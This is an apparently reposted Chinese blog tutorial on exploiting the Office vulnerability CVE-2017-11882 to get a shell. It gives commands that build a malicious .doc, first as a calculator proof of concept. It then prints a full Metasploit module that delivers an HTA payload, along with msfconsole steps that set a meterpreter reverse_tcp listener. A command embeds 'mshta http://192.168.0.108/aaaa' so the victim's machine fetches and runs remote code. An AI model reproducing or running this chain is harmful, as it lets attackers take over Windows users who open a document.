您的位置:首页 > 运维架构 > Shell

office漏洞利用--获取shell

2017-12-11 19:09 597 查看
  环境:

  kali系统, windows系统

  流程:

  在kali系统生成利用文件, kali系统下监听本地端口, windows系统打开doc文件,即可中招

  

  第一种利用方式, 适合测试用:

    从git下载代码:

git clone https://github.com/Ridter/CVE-2017-11882[/code] 
    执行以下代码, 会在当前目录生成一个doc:

python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc


    会生成一个test.doc文件, 如果有漏洞的电脑打开这个文件, 就会弹出一个计算器;

  第二种利用方式, 反弹获得shell:

  kali系统准备:

  复制以下ruby代码到/usr/share/metasploit-framework/modules/exploits/windows/smb/cve_2017_11882.rb目录(要注意代码缩进哦):

##
# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##

class MetasploitModule  < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info  = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end

def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end

def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
end


  在命令行启动msf的服务:

service postgresql start


  再启动msf:

sudo msfconsole


  重新加载所有模块:

reload_all


  查找我们刚刚新建的cve_2017_11882模块:

search cve_2017_11882


  加载这个模块:

use exploit/windows/smb/cve_2017_11882


  使用反弹shellcode, 配置本机地址, 配置uri地址

set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.105
set uripath aaaa
exploit


  生成漏洞利用文件test1.doc

  实现使用ifconfig查到当前计算机IP,然后在clone下来的项目下执行以下命令, 当前系统下回生成一个test1.doc文件:

python Command109b_CVE-2017-11882.py -c "mshta http://192.168.0.108/aaaa" -o test1.doc


  (注意,aaaa这个名字和msf的 uripath是一样的, 不能乱写)

  把生成的test1.doc 放到window系统执行, msf就会返回一个shell

  相关资源:

  POC的项目地址:https://github.com/Ridter/CVE-2017-11882/

  python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc



作者: NONO

出处:http://www.cnblogs.com/diligenceday/

企业网站:http://www.idrwl.com/
开源博客:http://www.github.com/sqqihao

QQ:287101329

微信:18101055830
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: